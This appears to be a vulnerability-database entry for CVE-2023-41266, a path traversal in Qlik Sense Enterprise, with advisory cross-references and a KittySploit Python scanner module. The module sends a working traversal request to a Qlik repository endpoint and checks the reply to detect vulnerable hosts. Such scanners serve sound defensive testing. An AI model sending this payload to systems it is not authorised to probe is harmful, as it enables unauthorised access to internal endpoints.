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Qlik Sense Enterprise - Path Traversal Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
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Unauthenticated remote path traversal in Qlik Sense Enterprise for Windows allows anonymous sessions.

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The vulnerability of the Qlik Sense Enterprise data analysis platform, related to insufficient validation of input data, allows a perpetrator to send arbitrary HTTP requests.
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circl
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CVE-2023-41266
30 Aug 202302:17
–circl
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CISA KEV Catalog
Qlik Sense Path Traversal Vulnerability
7 Dec 202300:00
–cisa_kev
cisa
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CISA Adds Two Known Exploited Vulnerabilities to Catalog
7 Dec 202312:00
–cisa
cnnvd
CNNVD
Qlik Sense 输入验证错误漏洞
29 Aug 202300:00
–cnnvd
cve
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CVE-2023-41266
29 Aug 202300:00
–cve
cvelist
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CVE-2023-41266
29 Aug 202300:00
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zeroqlik-detect
12 Oct 202614:43
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""A path traversal vulnerability found in Qlik Sense Enterprise for Windows for versions May 2023 Patch 3 and ea."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Qlik Sense Enterprise - Path Traversal Detection',
        'description': 'A path traversal vulnerability found in Qlik Sense Enterprise for Windows for versions May 2023 Patch 3 and earlier, February 2023 Patch 7 and earlier, November 2022 Patch 10 and earlier, and August 2022 Patch 12 and earlier allows an unauthenticated remote attacker to generate an anonymous session. This allows them to transmit HTTP requests to unauthorized endpoints. This is fixed in August 2023 IR, May 2023 Patch 4, February 2023 Patch 8, November 2022 Patch 11, and August 2022 Patch 13.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2023', 'qlik', 'traversal', 'kev', 'windows', 'vkev', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://community.qlik.com/t5/Official-Support-Articles/Critical-Security-fixes-for-Qlik-Sense-Enterprise-for-Windows/ta-p/2110801',
            'https://www.praetorian.com/blog/advisory-qlik-sense/',
            'https://www.praetorian.com/blog/qlik-sense-technical-exploit',
            'https://community.qlik.com/t5/Release-Notes/tkb-p/ReleaseNotes',
            'https://github.com/Ostorlab/KEV',
        ],
        'cve': 'CVE-2023-41266',
    }

    def run(self):
        r = self.http_request(method="GET", path='/resources/qmc/fonts/../../../qrs/ReloadTask?xrfkey=1333333333333337&filter=.ttf', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = (r.text or "").lower()
        body_any = ('x-qlik-session', 'the comparison expression does not consist of three elements',)
        if (any(m in body for m in body_any)):
            self.set_info(
                severity='medium',
                reason="Qlik Sense Enterprise - Path Traversal detected",
                path='/resources/qmc/fonts/../../../qrs/ReloadTask?xrfkey=1333333333333337&filter=.ttf',
            )
            return True
        return False

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28 Jul 2026 11:27Current
7.2High risk
Vulners AI Score7.2
CVSS 3.16.5 - 8.2
EPSS0.84843
SSVC
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